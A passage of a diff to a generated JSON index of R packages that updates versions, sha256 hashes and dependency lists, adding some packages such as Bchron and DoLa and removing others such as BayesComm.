["Matrix", "dplyr", "hypergeo", "optimx"] }, - "BTYDplus": { - "name": "BTYDplus", - "version": "1.2.0", - "sha256": "1shai7kij20g3isd6l29i696pkzymr0qq2i9gzfsxmvdb4g4pcm2", - "depends": ["BTYD", "Rcpp", "bayesm", "coda", "data_table", "mvtnorm"] - }, "BTdecayLasso": { "name": "BTdecayLasso", "version": "0.1.1", @@ -2685,8 +2673,8 @@ }, "BaSTA": { "name": "BaSTA", - "version": "2.0.1", - "sha256": "18w549z5pqh84xy8zfdbjrj53xf0w9yqys6ihvsnjvajfw3yps4l", + "version": "2.0.2", + "sha256": "1rqn4iqb0whir68f700m9qz8xn8zjgy81hyn49v48zncsw0cxcyz", "depends": ["snowfall"] }, "BaSkePro": { @@ -2863,12 +2851,6 @@ "sha256": "01rzjja0xzvqyjivl8a9da13v13ylm4dwv4f27cmgz2znakfg5y8", "depends": [] }, - "BayesComm": { - "name": "BayesComm", - "version": "0.1-2", - "sha256": "1rrbvwcfm93cw0m33g0zn6nyshfjc97kb3fby9cga0zaixc0a8rk", - "depends": ["Rcpp", "RcppArmadillo", "abind", "coda", "mvtnorm"] - }, "BayesDA": { "name": "BayesDA", "version": "2012.04-1", @@ -2901,9 +2883,9 @@ }, "BayesERtools": { "name": "BayesERtools", - "version": "0.2.1", - "sha256": "0vwxp3yin03a7xbvlq8kyf5rhr8ln0dyq2l1lv16ay4amlldmr23", - "depends": ["bayestestR", "cli", "dplyr", "ggplot2", "gt", "loo", "posterior", "purrr", "rlang", "rstanarm", "rstanemax", "tidybayes", "tidyr"] + "version": "0.2.2", + "sha256": "08d7dyfjmc1wr7fmn4nr3a5vnm3lfcfzx0xxcarn81nxv5ygapdr", + "depends": ["cli", "dplyr", "ggplot2", "gt", "loo", "posterior", "purrr", "rlang", "rstanarm", "rstanemax", "tidybayes", "tidyr"] }, "BayesESS": { "name": "BayesESS", @@ -2997,8 +2979,8 @@ }, "BayesMallows": { "name": "BayesMallows", - "version": "2.2.3", - "sha256": "0lrhsgp2mbkmv6sgj9sim0jz7nanl8zzk7zl84ch6jxr7gla5bsw", + "version": "2.2.4", + "sha256": "1l38ykvbyda03233g6x4mbg8g37y87cjm1ks06hjbpzryprwph0g", "depends": ["Rcpp", "RcppArmadillo", "Rdpack", "ggplot2", "relations", "rlang", "sets", "testthat"] }, "BayesMixSurv": { @@ -3147,8 +3129,8 @@ }, "BayesTools": { "name": "BayesTools", - "version": "0.2.18", - "sha256": "0yp3s568pss7bap8bllsh24i56siv0skg7blp9l9rwcz6sb6awzg", + "version": "0.2.19", + "sha256": "0bb4ywfj2592m5hgn0xvza381g1029ar848sjkw46z0fwq7kwi6v", "depends": ["Rdpack", "bridgesampling", "coda", "extraDistr", "ggplot2", "mvtnorm", "rlang"] }, "BayesTree": { @@ -3283,6 +3265,12 @@ "sha256": "1gyinmx5wn2kk70hiy28ghilkhfirfjbfqdrqq5h3wfb4khnq6pz", "depends": ["fabia"] }, + "Bchron": { + "name": "Bchron", + "version": "4.7.7", + "sha256": "1ypiw0cs102rljcbjkdnxbzwrg0pcwcd5d8pcf7qkk1s6nsb68dc", + "depends": ["MASS", "checkmate", "coda", "dplyr", "ggforce", "ggplot2", "ggridges", "magrittr", "mclust", "purrr", "scales", "stringr"] + }, "BeQut": { "name": "BeQut", "version": "0.1.0", @@ -3427,6 +3415,12 @@ "sha256": "1xg2m8rvxwpj47nb20kyd5hpa1lshg58bi0alf1v476yhcwqgrhx", "depends": ["AnnotationDbi", "GOSemSim", "GO_db", "mclust", "org_Hs_eg_db"] }, + "BiTSLS": { + "name": "BiTSLS", + "version": "0.1.0", + "sha256": "0pn4cvw99i3xfpy1fzizan9kv5lcnrsqpvd9iacgbv7imh35nrwq", + "depends": [] + }, "BiTrinA": { "name": "BiTrinA", "version": "1.3.1", @@ -3615,14 +3609,14 @@ }, "BioTIMEr": { "name": "BioTIMEr", - "version": "0.2.3", - "sha256": "027kx7244j575wn3yxhsmhbg2yaf1w611jvjnzaxivpns56rvg33", + "version": "0.2.4", + "sha256": "0rvrcvhhf22fi6s2wnxb0wk735sk8xb4cd3ghbha9kkxvixdxx6z", "depends": ["checkmate", "dggridR", "dplyr", "ggplot2", "tidyr", "vegan"] }, "BioTrajectory": { "name": "BioTrajectory", - "version": "1.0.0", - "sha256": "0mm24bjd0llhf3ff03vslgn7rjpbbp1lfick9y91011pqwpm2yd7", + "version": "1.0.1", + "sha256": "1d35p8x4ymhqcgfbqxxb72915pcikdzw26a00y9nn7cpi3c4yl86", "depends": ["MASS", "av", "dplyr", "imager", "jpeg", "png", "rpanel", "tiff"] }, "BioVenn": { @@ -3639,8 +3633,8 @@ }, "BiocManager": { "name": "BiocManager", - "version": "1.30.25", - "sha256": "058ym2j400xj8v4k02b6r3wy3lrs1nk909f6x3hhydf7vibqpvw3", + "version": "1.30.26", + "sha256": "0gm28pmlcsc96a0v98fl6zswsm6k34nbnanwhqdg8ilgdxang6nv", "depends": [] }, "Biodem": { @@ -3691,12 +3685,6 @@ "sha256": "11jl5109nlm272vncprwplkz4kpvg7yx6yfnbjg47lfrsxcj8n0g", "depends": ["MASS"] }, - "BisqueRNA": { - "name": "BisqueRNA", - "version": "1.0.5", - "sha256": "0p3p5lp69gri7vs6qfpm7br4ksbs4l7clm4nj8ki99wpqiqni23n", - "depends": ["Biobase", "limSolve"] - }, "BivGeo": { "name": "BivGeo", "version": "2.1.1", @@ -3891,8 +3879,8 @@ }, "Boptbd": { "name": "Boptbd", - "version": "1.0.5", - "sha256": "1p786avc37yq5g01zh6sqx7b1rvbxrh6gbxsad4bdvr12cjdsss6", + "version": "1.0.7", + "sha256": "0xcypcd0ja2zldvpv860kygpzd92vvgj720svlcsnifaims8zh3w", "depends": ["MASS", "Matrix", "igraph"] }, "Boruta": { @@ -3963,9 +3951,9 @@ }, "BrazilMet": { "name": "BrazilMet", - "version": "0.3.0", - "sha256": "0d948as65nayy7k0hbfbwp7abip3czls1976af2mg0j75fyfg77c", - "depends": ["dplyr", "readxl", "stringr", "tibble"] + "version": "0.4.0", + "sha256": "1j9x99vsix4rs1all2qbn8g2q10a203qb4ryjbk8fl4d6hgqms4h", + "depends": ["dplyr", "lubridate", "readxl", "sf", "stringi", "stringr", "terra", "tibble"] }, "BreakPoints": { "name": "BreakPoints", @@ -4093,12 +4081,6 @@ "sha256": "06bwv728ckalzibxginzfica24w18m4g87i0i064m3q89ghmnlqm", "depends": ["dynlm", "sandwich", "tseries", "urca"] }, - "CAESAR_Suite": { - "name": "CAESAR.Suite", - "version": "0.2.2", - "sha256": "1ww3s6gl8lb7g3xlykzgnlc7lrnnc7wvn1kip90yv84j09i096kx", - "depends": ["DescTools", "Matrix", "ProFAST", "Rcpp", "RcppArmadillo", "Seurat", "ade4", "furrr", "future", "ggplot2", "ggrepel", "irlba", "pbapply", "progress", "scater"] - }, "CAGR": { "name": "CAGR", "version": "1.1.1", @@ -4249,6 +4231,12 @@ "sha256": "0r1bswcb9k358hi10n25l6dczsqryw3jy7r7xh3rqqp84hp5gril", "depends": ["pracma"] }, + "CBASSED50": { + "name": "CBASSED50", + "version": "0.2.0", + "sha256": "1a6gbz30mzdaq3wdprvi2z9jj152675fw52ymhcidqwj3q3rsfnz", + "depends": ["dplyr", "drc", "ggplot2", "glue", "readxl", "rlog"] + }, "CBCgrps": { "name": "CBCgrps", "version": "2.8.2", @@ -4359,9 +4347,9 @@ }, "CDGHMM": { "name": "CDGHMM", - "version": "0.1.1", - "sha256": "0c43gfxgx2izs7hx2lkn4kws1nm94409258as72zdg123nf52hp8", - "depends": ["MASS", "cluster", "mvtnorm", "ramify"] + "version": "0.1.2", + "sha256": "1fqaavvfzd8f4hs0zc1pd51qrqyhfb20437dl58scrb40883d0kr", + "depends": ["MASS", "cluster", "mvtnorm"] }, "CDM": { "name": "CDM", @@ -5293,12 +5281,6 @@ "sha256": "0agb0liwbp4wvmxbyxgfb7471ki1agfb6ssh77kvwbkxqmrc8d96", "depends": [] }, - "CVR": { - "name": "CVR", - "version": "0.1.1", - "sha256": "1y8m9r409jq5h6xx1rvz7c7aj882jldfxly89zf3cvp2qg3jh7rj", - "depends": ["PMA", "Rcpp", "RcppArmadillo"] - }, "CVST": { "name": "CVST", "version": "0.2-3", @@ -5937,8 +5919,8 @@ }, "ClickHouseHTTP": { "name": "ClickHouseHTTP", - "version": "0.3.3", - "sha256": "0k8rl7vf4dd2jp8xk03v007mrmjz5w4lbgagmsylv73lm35485zh", + "version": "0.3.4", + "sha256": "1jbkzd65s58nlnsjp579cmni59gp8zg9q3f7q8pdlf2q5vkzz5h4", "depends": ["DBI", "arrow", "data_table", "httr", "jsonlite"] }, "CliftLRD": { @@ -6043,12 +6025,6 @@ "sha256": "052jq96xr9qrc203ib11qsni50j0jzdpfwmbnd5rypfvff6w5kxc", "depends": ["BAMBI", "cowplot", "ggplot2", "igraph", "purrr", "rlang"] }, - "ClusVis": { - "name": "ClusVis", - "version": "1.2.0", - "sha256": "06yckdl3gxjia1gjjqpc29lvy4f7qf47fncslng9ggjnks6il145", - "depends": ["MASS", "Rcpp", "RcppArmadillo", "Rmixmod", "VarSelLCM", "mgcv", "mvtnorm"] - }, "ClussCluster": { "name": "ClussCluster", "version": "0.1.0", @@ -6057,14 +6033,14 @@ }, "ClustAssess": { "name": "ClustAssess", - "version": "1.0.0", - "sha256": "0wpqxgb3nb2342mkq008jq1ikwjy4j3261aa92px6nvczcysxb0b", + "version": "1.1.0", + "sha256": "0rzvap36hfrr7z7qd41yvl5549sfw688kdh9r9mp44j2iyhj7l9k", "depends": ["DT", "Gmedian", "Matrix", "RANN", "Rcpp", "RcppEigen", "Seurat", "dplyr", "fastcluster", "foreach", "ggnewscale", "ggplot2", "ggrastr", "ggrepel", "ggtext", "glue", "gprofiler2", "igraph", "jsonlite", "leiden", "matrixStats", "paletteer", "plotly", "progress", "qualpalr", "reshape2", "rlang", "shiny", "shinyLP", "shinyWidgets", "shinyjs", "stringr", "uwot", "vioplot"] }, "ClustBlock": { "name": "ClustBlock", - "version": "4.1.0", - "sha256": "1jp3676yzaia0a7kzj0dvb3ckzqkqdzm6cjc6fjkf3amhjx33szw", + "version": "4.1.1", + "sha256": "04g420jlakn2z4kh3v4jx0k3agg11n4xmix57hx29ls93ibl3jqb", "depends": ["FactoMineR"] }, "ClustGeo": { @@ -6139,12 +6115,6 @@ "sha256": "1h8m0kpkdg975a9xhydr35rj9vkl2adldwshi68plk7k8dpa4azq", "depends": ["MASS", "doParallel", "fastDummies", "foreach", "iterators", "mvtnorm", "parabar", "scales"] }, - "ClusteredMutations": { - "name": "ClusteredMutations", - "version": "1.0.1", - "sha256": "1n31nnvpjh1faw751k8m3ga3wfl0yhdpnszwckqhfzlma1jr8z04", - "depends": ["seriation"] - }, "Clustering": { "name": "Clustering", "version": "1.7.10", @@ -6165,8 +6135,8 @@ }, "CoDaLoMic": { "name": "CoDaLoMic", - "version": "0.1.0", - "sha256": "1z240vsjcnszd9wy01rdm2ahq7rgmvswymmxai3lqklay87lh06q", + "version": "0.1.1", + "sha256": "1kbfki4gn8vg3qblwz8maix94vlq2mzan22bskfzl1hs6avxyl0z", "depends": ["MASS", "R2jags", "broom", "compositions", "ggbiplot", "ggplot2", "reshape2", "xtable", "zCompositions"] }, "CoDiNA": { @@ -6333,8 +6303,8 @@ }, "Colossus": { "name": "Colossus", - "version": "1.2", - "sha256": "072i9a195x4nbyccmqbamsnyzab199j96bq058bwphc0qc94z4xr", + "version": "1.3.0", + "sha256": "09h1j6mnz0pn35ffprs73cs35lqfscz4jn4japad327pzkscl23m", "depends": ["Rcpp", "RcppEigen", "callr", "data_table", "dplyr", "lubridate", "processx", "rlang", "stringr", "testthat", "tibble"] }, "ComBatFamQC": { @@ -6357,8 +6327,8 @@ }, "CombinS": { "name": "CombinS", - "version": "1.1-1", - "sha256": "06g41zbjl54cbhhs8q7l4bbvszclvbxn3m2dqg800d6ghs9vgl6v", + "version": "1.2", + "sha256": "0w9ik1224z8hkfki4w4pdxgj3gky4i5ydisql5mvl5ci5bvanasa", "depends": [] }, "CombinePortfolio": { @@ -6501,8 +6471,8 @@ }, "Compositional": { "name": "Compositional", - "version": "7.3", - "sha256": "1syf4krq5f1cn9hha208zvqjywwc23jh6zhay17b99ngnm22arvx", + "version": "7.5", + "sha256": "15h309pp13h4k571hwn707ij93a4f2cf91znm236y93dsmamkin7", "depends": ["MASS", "Matrix", "Rfast", "Rfast2", "Rnanoflann", "bigstatsr", "cluster", "doParallel", "emplik", "energy", "foreach", "glmnet", "mda", "minpack_lm", "mixture", "nnet", "quadprog", "quantreg", "sn"] }, "CompositionalML": { @@ -6513,8 +6483,8 @@ }, "CompositionalRF": { "name": "CompositionalRF", - "version": "1.1", - "sha256": "1qdv3qxalvd7qdyzaiswkgh2pfsz4cjrr468kzaickzgif4cgha4", + "version": "1.2", + "sha256": "1s5g8lscmwhqgg0idf79np12shf8iqb1r1ckcy19azi5zxzgixqx", "depends": ["Compositional", "Rcpp", "RcppParallel", "Rfast", "doParallel", "foreach"] }, "CompoundEvents": { @@ -6541,12 +6511,6 @@ "sha256": "16r0v0llj0pri69jqxribp8dpzh6yn6acpq20aaky14fyh3i4q7x", "depends": ["coneproj"] }, - "Conake": { - "name": "Conake", - "version": "1.0.1", - "sha256": "00c07wlsrzf6cwpaxmd7c78cxiwc3jfslxm6sxpbpr6b8270hz5m", - "depends": [] - }, "ConconiAnaerobicThresholdTest": { "name": "ConconiAnaerobicThresholdTest", "version": "1.0.0", @@ -6603,8 +6567,8 @@ }, "ConfidenceEllipse": { "name": "ConfidenceEllipse", - "version": "1.0.0", - "sha256": "0p3dkfj1r1prz40cly7apcnvh1m6537h0kjaljgqkhb6ylrxmlci", + "version": "1.1.0", + "sha256": "1r3vj2dg7g6dv3jcxpjyblgkwi8ksnsdmqvvlx30cb74adb3j6nw", "depends": ["cellWise", "dplyr", "forcats", "ggplot2", "magrittr", "pcaPP", "purrr", "rgl", "rlang", "tibble", "tidyr", "tidyselect"] }, "ConfigParser": { @@ -6819,8 +6783,8 @@ }, "CopulaREMADA": { "name": "CopulaREMADA", - "version": "1.7.3", - "sha256": "1kfw3q3i5nzha6bn74m3xvbv67d24w0m43mhad402wdcyx6rvh8v", + "version": "1.7.5", + "sha256": "00f12x61snpdr9750l3jm7bvig1ymlb1d3fv1phhwfxm89p8xywg", "depends": ["matlab", "mc2d", "statmod", "tensor"] }, "CorBin": { @@ -6907,6 +6871,12 @@ "sha256": "07yd0zbvc9db2jw6xigfhxnbkxwb3gxlmywadz7fs3rva2if2ffx", "depends": ["CholWishart", "Matrix", "nlme"] }, + "CovCorTest": { + "name": "CovCorTest", + "version": "1.0.0", + "sha256": "07j06l7n8gm2cfwfmldwnjxfx15899cm2jakl67ls2w6fr47k01m", + "depends": ["MANOVA_RM", "matrixcalc"] + }, "CovSel": { "name": "CovSel", "version": "1.2.2", @@ -6957,8 +6927,8 @@ }, "Coxmos": { "name": "Coxmos", - "version": "1.1.2", - "sha256": "1jx7pph2fsdah6v9jmy8aylm5pbmd64ddfcw0dv1ys1ycrn6nykp", + "version": "1.1.3", + "sha256": "0l355fcgmbfziad8gd0vz1x1yi1488avdvzyd4985nix567nqhim", "depends": ["MASS", "Rdpack", "caret", "cowplot", "furrr", "future", "ggplot2", "ggpubr", "ggrepel", "glmnet", "mixOmics", "patchwork", "progress", "purrr", "scattermore", "survcomp", "survival", "survminer", "svglite", "tidyr"] }, "CpGFilter": { @@ -7203,8 +7173,8 @@ }, "DAISIE": { "name": "DAISIE", - "version": "4.5.0", - "sha256": "0pviqla4w5bqrkly7apnflpndzr2fq739cskwd51xgwv20lkyc3w", + "version": "4.6.0", + "sha256": "1104y5a8ycahajpbgfgkmrcmavq4g7n3szvbsnwryr9v7fmabqa4", "depends": ["BH", "DDD", "Matrix", "Rcpp", "RcppEigen", "deSolve", "doParallel", "foreach", "magrittr", "pracma", "subplex", "tensor", "testit"] }, "DAISIEprep": { @@ -7527,8 +7497,8 @@ }, "DER": { "name": "DER", - "version": "1.0", - "sha256": "05mmgpb1l094sy2l98lban30hdq5c21d6297rzz47ndnsbhp2mf5", + "version": "1.1", + "sha256": "1g2bsa7kd33pkrzykadpyq9q1wy3pq60jkyw16k8zf4xxn6qkkic", "depends": ["Rfast", "Rfast2"] }, "DES": { @@ -7573,6 +7543,12 @@ "sha256": "1b2ky80sdcym8pzn7awr5s9c93sfqwr2yr6vvqncmwlwmx10chyq", "depends": ["Rcpp", "combinat", "magrittr", "scales"] }, + "DEplotting": { + "name": "DEplotting", + "version": "0.1.0", + "sha256": "0n9lxv54cc4wg0r8lqpdrm6g2jj1wwdi7z7r0ss5xg5xky3y06wr", + "depends": ["DT", "data_table", "dplyr", "ggplot2", "magrittr", "patchwork", "rlang", "scales", "sf", "stringr"] + }, "DFA": { "name": "DFA", "version": "1.0.0", @@ -7581,8 +7557,8 @@ }, "DFA_CANCOR": { "name": "DFA.CANCOR", - "version": "0.3.6", - "sha256": "0fvrzsj1drc08bnfi2n636ps6wq09hniz457fvhhj3siagafd7ls", + "version": "0.3.8", + "sha256": "09m4913523mba7sf9xf0i5ycmvdcf5w10x5f3hfx391bd9kj3y98", "depends": ["BayesFactor", "MASS", "MVN", "mvoutlier"] }, "DFBA": { @@ -8067,8 +8043,8 @@ }, "DRDID": { "name": "DRDID", - "version": "1.2.0", - "sha256": "0sjjg4i9lq48na3xwsk0jv8s2jh5b70052ymlkxgha4hpvg9kh4y", + "version": "1.2.2", + "sha256": "1jrlm44cn85z6cndzw2qw6ihcfx78iyhz4pafvp1mcb741iqm767", "depends": ["BMisc", "Rcpp", "fastglm", "trust"] }, "DRDRtest": { @@ -8293,6 +8269,12 @@ "sha256": "13gmy3yvjyha8d6bjvcaky8m21hhs622nr1nqn24vdrpjil6962c", "depends": ["R6", "nnet"] }, + "DTS": { + "name": "DTS", + "version": "0.1.1", + "sha256": "0zvf27800sc7h9bnlknwg45kbgxra7j0sinqjv2ywcdfkjblcgz8", + "depends": ["actuar", "expint"] + }, "DTSEA": { "name": "DTSEA", "version": "0.0.3", @@ -8479,6 +8461,12 @@ "sha256": "0dbi0jgzh2qxwsid9yp4mdwhrm7mcksx8jvpa91qfnfc26ipdw6n", "depends": [] }, + "DataSetsVerse": { + "name": "DataSetsVerse", + "version": "0.1.0", + "sha256": "12rabahsk07dwplxr987k0jrlllv24lhk5dq6rbyfha9r3calx93", + "depends": ["MedDataSets", "OncoDataSets", "cli", "crimedatasets", "educationR", "timeSeriesDataSets"] + }, "DataSimilarity": { "name": "DataSimilarity", "version": "0.1.1", @@ -8565,8 +8553,8 @@ }, "DeRezende_Ferreira": { "name": "DeRezende.Ferreira", - "version": "0.1.0", - "sha256": "05c99z3hlwwm0p02cl9z6gjwfxfq2b2qn90l85270bi16llgf42h", + "version": "0.1.2", + "sha256": "09gvaw8dgc2065dhazc5q9dfb7fs3vbr9c6xci7n1ykvb276hrln", "depends": ["xts"] }, "DeSciDe": { @@ -8613,9 +8601,9 @@ }, "DeepLearningCausal": { "name": "DeepLearningCausal", - "version": "0.0.104", - "sha256": "02n0prw6g0sslxwr3p5msbcqr2bny702pbf22vs6f0f9xc5gqkd6", - "depends": ["Hmisc", "ROCR", "SuperLearner", "caret", "class", "e1071", "gam", "gbm", "glmnet", "neuralnet", "randomForest", "weights", "xgboost"] + "version": "0.0.106", + "sha256": "1sks5w0lbyh3mfjhii5k00hfpg78h8cr6l3jarv4gj7d0k6f6p2w", + "depends": ["Hmisc", "ROCR", "SuperLearner", "caret", "class", "dplyr", "e1071", "gam", "gbm", "ggplot2", "glmnet", "magrittr", "neuralnet", "randomForest", "tidyr", "weights", "xgboost"] }, "Delaporte": { "name": "Delaporte", @@ -8655,8 +8643,8 @@ }, "DemographicTable": { "name": "DemographicTable", - "version": "0.2.1", - "sha256": "0s7dvsqywhqc2ww5qwkcvsnh1kn4fnxidmrbsqjlgia238f1cj3f", + "version": "0.2.2", + "sha256": "17asfdpqw81dcqk44vsr4xzfan9a54z3pwib091xwp949qgzik0d", "depends": ["cli", "flextable", "officer", "scales"] }, "DendSer": { @@ -8773,12 +8761,6 @@ "sha256": "034wb5hwpikli6h2rwiqr19qvzxrr4qwi4q436y7c5a5wgkfzgl5", "depends": ["Rcpp", "RcppEigen", "pcaPP", "robustbase"] }, - "DetR": { - "name": "DetR", - "version": "0.0.5", - "sha256": "1dd4nzkgj5pl9397aa0z3q5fpl27xbdf7q0pqbs821dyynylxzn9", - "depends": ["MASS", "Rcpp", "RcppEigen", "pcaPP", "robustbase"] - }, "DevTreatRules": { "name": "DevTreatRules", "version": "1.1.0", @@ -8877,8 +8859,8 @@ }, "DiceView": { "name": "DiceView", - "version": "3.1-0", - "sha256": "1zrb3n3jd072am52whfm2ahrgvjwhgaadj2alxn39r1c5i3a4my1", + "version": "3.1-3", + "sha256": "06n28iin6yh3hn037sgy3f2xggxbfcsir8sj4ahdqwgcjjbgxsid", "depends": ["DiceDesign", "R_cache", "foreach", "geometry", "scatterplot3d"] }, "Dict": { @@ -8901,8 +8883,8 @@ }, "DiffCorr": { "name": "DiffCorr", - "version": "0.4.4", - "sha256": "05rvyfgr9f5x0dcgwcsvnpcmgmg5hcsgyxspjzxkmbyfk8wzwaf7", + "version": "0.4.5", + "sha256": "1nlabwh95khz53gk3hgvc62abd5qgics8c4gd3air7iy3rkcw54b", "depends": ["fdrtool", "igraph", "multtest", "pcaMethods"] }, "DiffNet": { @@ -8917,6 +8899,12 @@ "sha256": "0a0q1fz80jlcrk4rw70yjb8djxgsm5axih45vi4dqpg6n8xlrzw2", "depends": ["Rdpack", "pander"] }, + "DigestiveDataSets": { + "name": "DigestiveDataSets", + "version": "0.1.0", + "sha256": "1izzjrlcr64q7ycm5s2hgkb3v0qzc7dbm750rx697qk28891b06n", + "depends": [] + }, "DirStats": { "name": "DirStats", "version": "0.1.10", @@ -8955,8 +8943,8 @@ }, "DirichletReg": { "name": "DirichletReg", - "version": "0.7-1", - "sha256": "1ql5mwb7zb06y9j6inrlngq7c15as4j17wd8kc71fxs0a2jdj7xi", + "version": "0.7-2", + "sha256": "16rdg1vgxrr4gc5fvm3nblbmbgmvicgpk1qsfhf6czn8yj64r2q8", "depends": ["Formula", "maxLik"] }, "DisHet": { @@ -9133,6 +9121,12 @@ "sha256": "0y9ymw7114jk1rwiasq400bpgvkxv6rpc954c7v9mgxd3c2nfza7", "depends": [] }, + "DoLa": { + "name": "DoLa", + "version": "0.1.0", + "sha256": "00zc8d050mfz06rfzja58l2baffp7kkwg3zxnvp39cwwdgw1kxzh", + "depends": ["XML", "dplyr", "knitr", "openxlsx", "reshape2", "rmarkdown", "stringr"] + }, "DockerParallel": { "name": "DockerParallel", "version": "1.0.4", @@ -9237,9 +9231,9 @@ }, "DrugExposureDiagnostics": { "name": "DrugExposureDiagnostics", - "version": "1.1.2", - "sha256": "1vyg0czirq0j6rxnrp1wmq9jph2pj6mjh5hli5vwm14mcid0mwzy", - "depends": ["CDMConnector", "DrugUtilisation", "R6", "checkmate", "dplyr", "glue", "magrittr", "omopgenerics", "rlang", "tidyr", "tidyselect"] + "version": "1.1.3", + "sha256": "0782mdd54k15lkzqcrddacbv3s14yga9anklz9p01si68pi4vja5", + "depends": ["CDMConnector", "DrugUtilisation", "R6", "checkmate", "clock", "dplyr", "glue", "magrittr", "omopgenerics", "rlang", "tidyr", "tidyselect"] }, "DrugSim2DR": { "name": "DrugSim2DR", @@ -9249,8 +9243,8 @@ }, "DrugUtilisation": { "name": "DrugUtilisation", - "version": "1.0.2", - "sha256": "0m6csf2pd0x876mcmazrx17m7x0rpm2a8wrrby1ra6c9h15v2hjq", + "version": "1.0.3", + "sha256": "0hgg6mrlfx2lq25g5m01qczhbalfh0rrsji3kq4lx3rzw0j58f0h", "depends": ["CDMConnector", "CodelistGenerator", "PatientProfiles", "cli", "clock", "dplyr", "glue", "omopgenerics", "purrr", "rlang", "stringr", "tidyr"] }, "DstarM": { @@ -9289,6 +9283,12 @@ "sha256": "1aa67m224bhzzg089rhxwqgbmwwq5py8ikix8khwraz5cnjz2f83", "depends": ["Rcpp", "RcppArmadillo", "ggplot2", "gridExtra"] }, + "DyadiCarma": { + "name": "DyadiCarma", + "version": "1.0.1", + "sha256": "1b34pi8hfrxs9vd34ym8dv0rqjpgvd360np96pbcdbs8khjbh0r6", + "depends": ["Rcpp", "RcppArmadillo"] + }, "Dykstra": { "name": "Dykstra", "version": "1.0-0", @@ -9355,12 +9355,6 @@ "sha256": "1fxvahcbm12z3hzsyz0kwswdb6crvbfrkxwhq5ws73bxw7hp3n4c", "depends": ["stringi", "stringr"] }, - "EAinference": { - "name": "EAinference", - "version": "0.2.3", - "sha256": "1kzcfya3z6rf1vqjn72yjymdhrn4dzgmwifh3w6k22cy5jxffzn4", - "depends": ["MASS", "Rcpp", "RcppArmadillo", "hdi", "limSolve", "msm", "mvtnorm"] - }, "EBASE": { "name": "EBASE", "version": "1.1.0", @@ -9561,14 +9555,14 @@ }, "EFAfactors": { "name": "EFAfactors", - "version": "1.2.2", - "sha256": "054z8ibym0rk1vlavdfg3n6n266ai7cbjhcg6aw7s4kl5raq1h75", + "version": "1.2.3", + "sha256": "0l1x2wph4jax35qaq4vk10rj32d8345bd4qdzn1frnx7xlm6wq4z", "depends": ["BBmisc", "MASS", "Matrix", "Rcpp", "RcppArmadillo", "SimCorMultRes", "checkmate", "ddpcr", "ineq", "mlr", "proxy", "psych", "ranger", "reticulate", "xgboost"] }, "EFAtools": { "name": "EFAtools", - "version": "0.4.6", - "sha256": "0y75amgsp2r1n8hdw0sni6c2vrbsqjjsnv5z0igwmfykfr3cwmwf", + "version": "0.5.0", + "sha256": "12n5cl1i6a5gxc9zmjj3ydrf54c834kfpzm46dk10x813mqgkmab", "depends": ["GPArotation", "Rcpp", "RcppArmadillo", "checkmate", "cli", "crayon", "dplyr", "future", "future_apply", "ggplot2", "lavaan", "magrittr", "progress", "progressr", "psych", "rlang", "stringr", "tibble", "tidyr", "viridisLite"] }, "EFAutilities": { @@ -9763,12 +9757,6 @@ "sha256": "0zwbbxsmkyrgmva5h8l78f181nz5asc7dpdcmajvj2y3yl1rb278", "depends": [] }, - "EMMAgeo": { - "name": "EMMAgeo", - "version": "0.9.8", - "sha256": "1rcdqdy16x00fnry80rr6j6081p9zbkmhxxfv4k9izncagpm3gqk", - "depends": ["GPArotation", "caTools", "limSolve", "matrixStats", "shiny"] - }, "EMMIXSSL": { "name": "EMMIXSSL", "version": "1.1.1", @@ -9999,9 +9987,9 @@ }, "ETRep": { "name": "ETRep", - "version": "1.1.0", - "sha256": "1m422fj0pnskb3ag0vacfpiydjj7h9hxb6vny51xp19wbfd8a0ja", - "depends": ["Matrix", "Morpho", "RSpincalc", "RiemBase", "Rvcg", "SphericalCubature", "dplyr", "fields", "ggplot2", "matlib", "pracma", "ptinpoly", "reshape2", "rgl", "rotations", "shapes", "truncnorm"] + "version": "1.2.0", + "sha256": "1xkzw18cp7fkdzhp0bmanpx9p2vf39wdc9whbpzrv245nsnvinz2", + "depends": ["Morpho", "RSpincalc", "Rvcg", "fields", "matlib", "rgl", "rotations", "shapes", "truncnorm"] }, "EUfootball": { "name": "EUfootball", @@ -10165,12 +10153,6 @@ "sha256": "0nrq6n7amz8l6rk0wfyrih7rkic96yc02rpk4szis81v7yvm7346", "depends": ["XML"] }, - "EcoVirtual": { - "name": "EcoVirtual", - "version": "1.1", - "sha256": "1aryl2sb5ak390lgnm427ilm6xv9lmsjhwdnapzc033zvqb099gj", - "depends": [] - }, "Ecohydmod": { "name": "Ecohydmod", "version": "1.0.0", @@ -10333,12 +10315,6 @@ "sha256": "1c6vj8ydzj9qyv8lj6pna2lg90slv570xkwr3gld4klgya6vzrv2", "depends": ["Rcpp", "ggplot2", "gridExtra", "rlang"] }, - "EncDNA": { - "name": "EncDNA", - "version": "1.0.2", - "sha256": "0wy2cmcvyqjhg5mqbvdzmihfv8swx7ym2n9mjdqgx0kgnc7k614y", - "depends": ["Biostrings"] - }, "EncompassTest": { "name": "EncompassTest", "version": "0.22", @@ -10459,18 +10435,6 @@ "sha256": "0p8znwcx11sa5rqljsa38iwqwd91pvkw01g674grw2705cagjdnj", "depends": ["Hmisc", "MatchIt", "VGAM", "broom", "cowplot", "data_table", "dplyr", "forcats", "ggplot2", "glue", "grf", "gridExtra", "nnet", "patchwork", "policytree", "progressr", "purrr", "rlang", "stringr", "survey", "survival", "svyVGAM", "tidyr"] }, - "EpiILM": { - "name": "EpiILM", - "version": "1.5.2", - "sha256": "0drs4qywx9axs7k5qk7sp5r3g8pykn4lqqbm0hxyl24r6b5l3d6b", - "depends": ["LaplacesDemon", "adaptMCMC", "coda"] - }, - "EpiILMCT": { - "name": "EpiILMCT", - "version": "1.1.7", - "sha256": "1yjcjxf5m1qbb6p09g34wkr4q13g65ly11kxh95r22cdl85jmlq3", - "depends": ["coda", "igraph"] - }, "EpiInvert": { "name": "EpiInvert", "version": "0.3.1", @@ -10843,16 +10807,10 @@ "sha256": "1pd4v240ywc4wzh249axxb4kz5dccizc08jdjnaygz35hjdg5hvj", "depends": ["DoE_base", "dplyr", "far", "purrr", "rlist"] }, - "ExplainPrediction": { - "name": "ExplainPrediction", - "version": "1.3.0", - "sha256": "14m3b9fsrpfpr8avsnhl8b3bzk2xlhwgkwag5iq8bj7bzvv4yck1", - "depends": ["CORElearn", "semiArtificial"] - }, "ExplodeLayout": { "name": "ExplodeLayout", - "version": "0.1.2", - "sha256": "0yxf12hv4ypbyxnj1x4wrmj0l52nrx9ss79szl7j4bk9nc98qmli", + "version": "0.1.3", + "sha256": 